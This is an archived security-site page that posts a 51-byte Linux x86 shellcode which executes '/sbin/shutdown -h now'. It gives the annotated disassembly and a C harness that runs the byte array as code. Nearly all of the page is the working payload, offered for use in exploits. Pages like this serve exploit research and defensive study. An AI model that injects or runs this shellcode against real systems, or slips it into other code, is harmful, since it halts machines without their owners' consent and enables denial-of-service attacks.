what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Linux x86 shutdown -h now Shellcode

Linux x86 shutdown -h now Shellcode
Posted Jan 21, 2009
Authored by Jonathan Salwan | Site shell-storm.org

51 bytes small Linux x86 shutdown -h now shellcode.

tags | x86, shellcode
systems | linux
SHA-256 | 33b46659b70ce3e62caa1b0f4eaac4b8f681233e97c409b7fd895a976717ab45

Linux x86 shutdown -h now Shellcode

Change Mirror Download
/*  Linux x86 - Shutdown -h now - 51 bytes
* Jonathan Salwan <js.rac.projet[*AT]gmail.com>
* Web: http://racprojet.zapto.org
*
*
*Disassembly of section .text:
*
* 08048060 <_start>:
* 8048060: 6a 0b push $0xb
* 8048062: 58 pop %eax
* 8048063: 99 cltd
* 8048064: 52 push %edx
* 8048065: 6a 77 push $0x77
* 8048067: 66 68 6e 6f pushw $0x6f6e
* 804806b: 89 e6 mov %esp,%esi
* 804806d: 52 push %edx
* 804806e: 66 68 2d 68 pushw $0x682d
* 8048072: 89 e1 mov %esp,%ecx
* 8048074: 52 push %edx
* 8048075: 68 64 6f 77 6e push $0x6e776f64
* 804807a: 68 73 68 75 74 push $0x74756873
* 804807f: 68 69 6e 2f 2f push $0x2f2f6e69
* 8048084: 68 2f 2f 73 62 push $0x62732f2f
* 8048089: 89 e3 mov %esp,%ebx
* 804808b: 52 push %edx
* 804808c: 56 push %esi
* 804808d: 51 push %ecx
* 804808e: 53 push %ebx
* 804808f: 89 e1 mov %esp,%ecx
* 8048091: cd 80 int $0x80
*
*/

main()
{

char shell[] = "\x6a\x0b\x58\x99\x52\x6a\x77\x66"
"\x68\x6e\x6f\x89\xe6\x52\x66\x68"
"\x2d\x68\x89\xe1\x52\x68\x64\x6f"
"\x77\x6e\x68\x73\x68\x75\x74\x68"
"\x69\x6e\x2f\x2f\x68\x2f\x2f\x73"
"\x62\x89\xe3\x52\x56\x51\x53\x89"
"\xe1\xcd\x80";

printf("Length: %d\n",strlen(shell));
(*(void(*)()) shell)();

}

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close